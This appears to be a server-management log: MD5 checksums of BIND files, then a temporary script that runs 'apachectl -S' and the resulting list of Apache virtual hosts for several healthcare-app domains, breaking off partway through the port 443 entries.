MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:33:40: Establishing a connection
2026-05-24 10:33:40: 

PUT: /tmp/pkp112736

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 10:33:40: 

chmod 755 /tmp/pkp112736; /tmp/pkp112736; rm /tmp/pkp112736

2026-05-24 10:33:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
